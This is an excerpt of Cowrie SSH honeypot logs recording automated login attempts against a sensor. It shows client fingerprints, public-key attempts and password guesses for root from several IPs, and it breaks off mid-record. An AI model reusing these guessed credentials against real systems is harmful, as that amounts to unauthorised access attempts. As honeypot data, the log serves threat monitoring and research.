{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.682814Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:1d:d1:5b:94:00:75:c8:a4:dc:7a:8e:b1:0c:5d:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp5HgyPThcPLvWB+xVuupq3NESZNVL/stS1heOabGhvYQNOn3E1RZHRx5VB0TZgbiwjX+6E49xBzSvsA8TtjJwSlHxbINvB6cIpJG7wGh00HHYZ7Kfar7VkaVJdKK/Ygt0N7RrxIDCngLDnGf8FdpOqM3+do7nFbnKh/umJ3/wzabzowuWWgpMCNmLE0cOTAZQy2dhVGTmMDKHdm9LFmaQ4fum3BoPXse/C5r7GbukT5bDIqYfKRNPfi7t4z3MeCqz+4A3tMb6E+gSwmpkYXdDqEjcrwmGSziJ7E+BUvl0a2fBJkRai9gGTK8YPfqaD6oXi0tufjsYWdiEpKMmBn9D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:1d:d1:5b:94:00:75:c8:a4:dc:7a:8e:b1:0c:5d:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.803745Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:1d:d1:5b:94:00:75:c8:a4:dc:7a:8e:b1:0c:5d:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp5HgyPThcPLvWB+xVuupq3NESZNVL/stS1heOabGhvYQNOn3E1RZHRx5VB0TZgbiwjX+6E49xBzSvsA8TtjJwSlHxbINvB6cIpJG7wGh00HHYZ7Kfar7VkaVJdKK/Ygt0N7RrxIDCngLDnGf8FdpOqM3+do7nFbnKh/umJ3/wzabzowuWWgpMCNmLE0cOTAZQy2dhVGTmMDKHdm9LFmaQ4fum3BoPXse/C5r7GbukT5bDIqYfKRNPfi7t4z3MeCqz+4A3tMb6E+gSwmpkYXdDqEjcrwmGSziJ7E+BUvl0a2fBJkRai9gGTK8YPfqaD6oXi0tufjsYWdiEpKMmBn9D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.806906Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:94:52:4a:ce:7d:ba:3f:9d:89:51:34:98:70:80:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6urNu+uikK+7hZHeFFkoyHD6qIyUessMKu+aPglgSf580GoBQHII1Ab4RY8vxPH9vHS7GbUCxCT1Eow+xSawybujObcrYleK/X/GU1NTJrLqXD5PiBJFti6MU/PzsoG10O/u8jYlOSCFSEWWlPHSOJgvEH3MtUjxbkI7I+oAbqPzw/cNksc1hiT0jg9dZu/DzlMI9bycZqpxdSVqtn/c2pwLsrXs5O/TqCrFLvPeKVKiSOajT6+VcoIVjnAbQqzTzXkalDYS40hNGIgCNQJi/lMeMlJp1afdz/S1wbFllVRMfBWYEKBY4qsLNZ+PjYfL5yMnhUmpi5ODt/RCvzX7H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:94:52:4a:ce:7d:ba:3f:9d:89:51:34:98:70:80:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.835605Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:94:52:4a:ce:7d:ba:3f:9d:89:51:34:98:70:80:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6urNu+uikK+7hZHeFFkoyHD6qIyUessMKu+aPglgSf580GoBQHII1Ab4RY8vxPH9vHS7GbUCxCT1Eow+xSawybujObcrYleK/X/GU1NTJrLqXD5PiBJFti6MU/PzsoG10O/u8jYlOSCFSEWWlPHSOJgvEH3MtUjxbkI7I+oAbqPzw/cNksc1hiT0jg9dZu/DzlMI9bycZqpxdSVqtn/c2pwLsrXs5O/TqCrFLvPeKVKiSOajT6+VcoIVjnAbQqzTzXkalDYS40hNGIgCNQJi/lMeMlJp1afdz/S1wbFllVRMfBWYEKBY4qsLNZ+PjYfL5yMnhUmpi5ODt/RCvzX7H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.839725Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:e9:f4:1f:d6:d3:c2:95:19:18:10:58:b8:e1:5c:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCncDpSE+kl20hexUKN1eqWAgyfkHJ/akI8Hs66T18JC/w/vNfHBiDL4GpFH2f3lFAv1JpJxzF0esDwfJ42zchddlcuU86dPzrBsZOQEWumpNUtoPM+J5ai8oeMGzZ6GDiTA2Te0YlWBNWZFiSvEvW2Afsr6abk6lkE+/PzQSkxw+yUNbDKP5DGqwtzG2cV/s9ISCwenj7gAFc2SFhx6Wj+xBxegX9b2IrL9Lme3XWv0O16PZYDoJ6H4GBbIdtaiGaxZk/oFNEgiCTrLaSI6IHjNc+mA4YFJlcaUhKdeoDGLttF0Ff6H64YmrKH3cAFn/EU12N0O9+DFDKWEPvuJ6M10NweDAYtKNZWocI3CGsxY0nLWUd07fFgk4LpOuqMMj3aJybnwZ+XVzUWzeAlTicK8VUiPPw2EKITHi80d16Y25gGG37HC6cCws417m0ug7j3kD0ZlUSjvwvBXmyeUfXPOG3ayAKk2PhDN6glbbtld3DYeq8QbuJOZyv/nTq3S7hLe+rP16VRPx6mFLct66xkPozKgml0CW5IkvXaaMyDUVuyyyzf1LA7aq15pnqzaFEBYKWndShARQbG9ZnlZ2w46DwvbRccmmwE6HYRz9QVcTMXcJPypnYmmijYptPhtjFF7V1YQVqJzc+gmwACTaC+wRgTbm6qyH5GquyolKMvOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:e9:f4:1f:d6:d3:c2:95:19:18:10:58:b8:e1:5c:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.870937Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:e9:f4:1f:d6:d3:c2:95:19:18:10:58:b8:e1:5c:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCncDpSE+kl20hexUKN1eqWAgyfkHJ/akI8Hs66T18JC/w/vNfHBiDL4GpFH2f3lFAv1JpJxzF0esDwfJ42zchddlcuU86dPzrBsZOQEWumpNUtoPM+J5ai8oeMGzZ6GDiTA2Te0YlWBNWZFiSvEvW2Afsr6abk6lkE+/PzQSkxw+yUNbDKP5DGqwtzG2cV/s9ISCwenj7gAFc2SFhx6Wj+xBxegX9b2IrL9Lme3XWv0O16PZYDoJ6H4GBbIdtaiGaxZk/oFNEgiCTrLaSI6IHjNc+mA4YFJlcaUhKdeoDGLttF0Ff6H64YmrKH3cAFn/EU12N0O9+DFDKWEPvuJ6M10NweDAYtKNZWocI3CGsxY0nLWUd07fFgk4LpOuqMMj3aJybnwZ+XVzUWzeAlTicK8VUiPPw2EKITHi80d16Y25gGG37HC6cCws417m0ug7j3kD0ZlUSjvwvBXmyeUfXPOG3ayAKk2PhDN6glbbtld3DYeq8QbuJOZyv/nTq3S7hLe+rP16VRPx6mFLct66xkPozKgml0CW5IkvXaaMyDUVuyyyzf1LA7aq15pnqzaFEBYKWndShARQbG9ZnlZ2w46DwvbRccmmwE6HYRz9QVcTMXcJPypnYmmijYptPhtjFF7V1YQVqJzc+gmwACTaC+wRgTbm6qyH5GquyolKMvOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.875106Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:7f:ac:bd:52:fb:e8:8b:95:e7:4b:2a:c4:f1:48:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyM/sTTzi1Atmos57QGsTJJOQqQlzjY1aH+2v+bkDX7xIStoldntetMBl6jr2owz+ht2Od5MSl8UEqhOjsE9ajlZH+qUgmgbDsXPwldWPZGnS3540Zk/05tdgORR5wFDjWB+MeYckk38QoRE/AHH2rBXwJMDq9r60t1kH2BJ1ESmAE7sB6GbI5mo4lHHSsRG4b3XAbt4e3xUbt9dPZZvH+zcdo3vJlolVqe4piZ+C96VLXQpPCSk7AKIwJ0elSNbTA6DdbFS+7SwDKyzTrWcVj/bFMeG/M8pV18NikiSsIfhWKU7q7w+Z2eIbeMFNBeR2xrDrpKVFvBkIrBNZk82w3i4ovhyb7GrQcqwlpH2lepY4FimmQ4jAMXc2RTrwPKZqfvvPkFrdPZfQEKts00xiweAC5jnRhpQJ8+fLk9Cn96UzxQABJTQfmjMAHi4C8kGhjEF1zoE0pkIUfJOU8xpgZPJ9aia6RiDREhJ7pqsDGxl1Q2RHhp34l1CxwGCIwpxs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:7f:ac:bd:52:fb:e8:8b:95:e7:4b:2a:c4:f1:48:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.908827Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:7f:ac:bd:52:fb:e8:8b:95:e7:4b:2a:c4:f1:48:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyM/sTTzi1Atmos57QGsTJJOQqQlzjY1aH+2v+bkDX7xIStoldntetMBl6jr2owz+ht2Od5MSl8UEqhOjsE9ajlZH+qUgmgbDsXPwldWPZGnS3540Zk/05tdgORR5wFDjWB+MeYckk38QoRE/AHH2rBXwJMDq9r60t1kH2BJ1ESmAE7sB6GbI5mo4lHHSsRG4b3XAbt4e3xUbt9dPZZvH+zcdo3vJlolVqe4piZ+C96VLXQpPCSk7AKIwJ0elSNbTA6DdbFS+7SwDKyzTrWcVj/bFMeG/M8pV18NikiSsIfhWKU7q7w+Z2eIbeMFNBeR2xrDrpKVFvBkIrBNZk82w3i4ovhyb7GrQcqwlpH2lepY4FimmQ4jAMXc2RTrwPKZqfvvPkFrdPZfQEKts00xiweAC5jnRhpQJ8+fLk9Cn96UzxQABJTQfmjMAHi4C8kGhjEF1zoE0pkIUfJOU8xpgZPJ9aia6RiDREhJ7pqsDGxl1Q2RHhp34l1CxwGCIwpxs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.912424Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:5f:6f:fc:27:f5:8c:52:3f:18:98:5d:40:91:f5:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYH8euvAp4+uA8WY8tfF9pUyc3145bhfWX/AYeO1dzmVMCCD3d0lya/AWUV/kZr5UJ8Onw6zAOGWuQIBJ1V4UZcSxzZTbGdphsCjtA+XH0c+jpvLCauBFt5XeqP0VJNcBBjL8g8lHVddf/tzCHGaCUpeO8/wKVJhd1ddHDa+4ExeWQs77WS6XDz1LK359e56h0uEJ5PGyBAjfWUgqDXwhclJ/yQJ8uxYVr2+3WV+gQ0JRbZHzQLo8VUd1Yibkmt9TuatfzCnk/N72czoxJUZvcu+uot9NmXSUo/KwYVbBg7C8f3u5oCegPyzSstLD+5PhMy8zoo7aY034/mmP3QtGH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:5f:6f:fc:27:f5:8c:52:3f:18:98:5d:40:91:f5:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.942888Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:5f:6f:fc:27:f5:8c:52:3f:18:98:5d:40:91:f5:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYH8euvAp4+uA8WY8tfF9pUyc3145bhfWX/AYeO1dzmVMCCD3d0lya/AWUV/kZr5UJ8Onw6zAOGWuQIBJ1V4UZcSxzZTbGdphsCjtA+XH0c+jpvLCauBFt5XeqP0VJNcBBjL8g8lHVddf/tzCHGaCUpeO8/wKVJhd1ddHDa+4ExeWQs77WS6XDz1LK359e56h0uEJ5PGyBAjfWUgqDXwhclJ/yQJ8uxYVr2+3WV+gQ0JRbZHzQLo8VUd1Yibkmt9TuatfzCnk/N72czoxJUZvcu+uot9NmXSUo/KwYVbBg7C8f3u5oCegPyzSstLD+5PhMy8zoo7aY034/mmP3QtGH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.947106Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.978618Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":38756,"dst_ip":"10.17.0.5","dst_port":22,"session":"8569731442b3","protocol":"ssh","message":"New connection: 147.45.197.250:38756 (10.17.0.5:22) [session: 8569731442b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:48.998918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:49.003636Z","src_ip":"147.45.197.250","session":"8569731442b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:49.097365Z","src_ip":"147.45.197.250","session":"8569731442b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertgfdsa","message":"login attempt [root/qwertgfdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:49.377948Z","src_ip":"147.45.197.250","session":"8569731442b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:50.474910Z","src_ip":"147.45.197.250","session":"8569731442b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":44572,"dst_ip":"10.17.0.5","dst_port":22,"session":"f021d917a895","protocol":"ssh","message":"New connection: 103.77.242.62:44572 (10.17.0.5:22) [session: f021d917a895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:15.703650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:15.708913Z","src_ip":"103.77.242.62","session":"f021d917a895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:15.958754Z","src_ip":"103.77.242.62","session":"f021d917a895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25051989","message":"login attempt [root/25051989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:16.695392Z","src_ip":"103.77.242.62","session":"f021d917a895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:17.943945Z","src_ip":"103.77.242.62","session":"f021d917a895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":55030,"dst_ip":"10.17.0.5","dst_port":22,"session":"8be21495ac38","protocol":"ssh","message":"New connection: 103.107.60.45:55030 (10.17.0.5:22) [session: 8be21495ac38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:27.833856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:27.839216Z","src_ip":"103.107.60.45","session":"8be21495ac38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:28.053820Z","src_ip":"103.107.60.45","session":"8be21495ac38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"KS@gshyx@zl1651","message":"login attempt [root/KS@gshyx@zl1651] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:28.946827Z","src_ip":"103.107.60.45","session":"8be21495ac38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:30.165215Z","src_ip":"103.107.60.45","session":"8be21495ac38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":55894,"dst_ip":"159.203.135.109","dst_port":22,"session":"46124d923eb9","protocol":"ssh","message":"New connection: 203.161.39.233:55894 (159.203.135.109:22) [session: 46124d923eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:37.529115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:02:37.534585Z","src_ip":"203.161.39.233","session":"46124d923eb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[